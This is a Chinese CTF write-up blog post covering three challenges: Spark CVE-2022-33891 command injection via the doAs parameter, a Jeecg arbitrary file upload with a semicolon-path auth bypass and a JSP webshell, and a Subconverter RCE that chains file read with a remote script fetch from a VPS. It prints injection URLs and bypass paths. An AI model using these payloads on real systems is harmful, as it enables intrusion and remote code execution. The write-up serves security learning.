Java
没环境。没办法,只能做一些知识点的学习了。
入口是个任意文件读取,读取War,然后再度K8s的token,就可以查看K8s的服务有个spark,版本是3.2.1,考虑CVE-2022-33891,因此这里主要是对这个漏洞做个复现
调试环境搭建
https://archive.apache.org/dist/spark/spark-3.2.1/
安装完后,改一下bin目录下的spark-shell脚本,加一个调试选项export SPARK_SUBMIT_OPTS="-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005"
幸亏我是子系统。然后遇到了个BUG,JDK版本是17太高了,害。果然之前没有搞的都得还。然后捏windows访问不到wsl的ip。我放到VPS上去了。./spark-shell --conf spark.acls.enable=true
[http://xxxx/jobs/?doAs=;touch%20/tmp/pwned](http://114.116.119.253:4041/jobs/?doAs=;touch%20/tmp/pwned)
代码是scala写的,勉强也看得懂,先进入doFilter函数,然后接收doAs参数
随后进入checkUIViewPermissions函数
进入isUserInACL,这是我们为什么启动时开启ACL配置。并且看变量框可以发现,user是恶意cmd
继续跟进user参数,进入getCurrentUserGroups里面
然后getGroup
接下来直接进行了cmd的拼贴。所以造成了命令注入
最后创建文件成功。
我们也可以改为反弹shell。
Jeecg
考点:Java代码审计,任意文件上传,权限绕过
长这b样。然后审计代码可以发现一些问题
cgUpload控制器的ajaxSave函数并没有判断白名单。所以假如可以调用到该路由就可以进行任意文件上传,但是有一个Auth监听器鉴权。我们需要做的就是绕过权限限制。
这里使用的是getRequestURI进行判断。所以可以使用;``..;/
这样的东西进行绕过,有关参考
https://cloud.tencent.com/developer/article/1659416
我们这里就直接复现一下。首先准备个JSP马
1 | <%@ page import="java.io.BufferedReader" %> |
然后用burp抓个包。
正常send过去是会被auth拦截器拦截的。但是我们看看配置文件
放了个白名单,那就有机可乘了。我们可以用cgUploadController.do;toLogin.do/?ajaxSaveFile
上传文件,原理就是;toLogin/
会被截断去除,但是这样又绕过了auth认证,怎么绕过auth认证的呢?请看我分析
调用了getJgAuthRequsetPath
方法
这里用的是getrequestURI,获取路径
在上面判断一些东西,也没识别到,就原本原样返回。然后回到preHandle
因为前三个if都没识别到,所以进入了mohu模糊判断,只要路径包含白名单的url就绕过了。很傻逼这个判断,然后又因为tomcat处理请求的特性,会把;和/
之间的内容删掉,所以造成了绕过拉
我们改成一个马上传,然后哥斯拉访问。
去访问这个马。
会给nginx拦了。但是我们也可以用/a/..;/
绕过
结束咯
Subconvertor
考点:subconvertor一个rce漏洞
这东西本来是用来做格式转换的,结果被WM的114挖了洞(114我的偶像)
https://gist.github.com/CwithW/01a726e5af709655d6ee0b2067cdae03
参考这个POC
然后这一题是CVE的升级版,加了个token认证,我们可以通过任意文件读取读取token,继续rce
读源码发现几个路由
1 | /version |
首先/qx-script?url=cHJlZi50b21s
读取配置文件获取token
然后我们
1 | /sub?target=clash&url=http://vps/1.js |
就行了,只不过flag是空的。
About this Post
This post is written by Boogipop, licensed under CC BY-NC 4.0.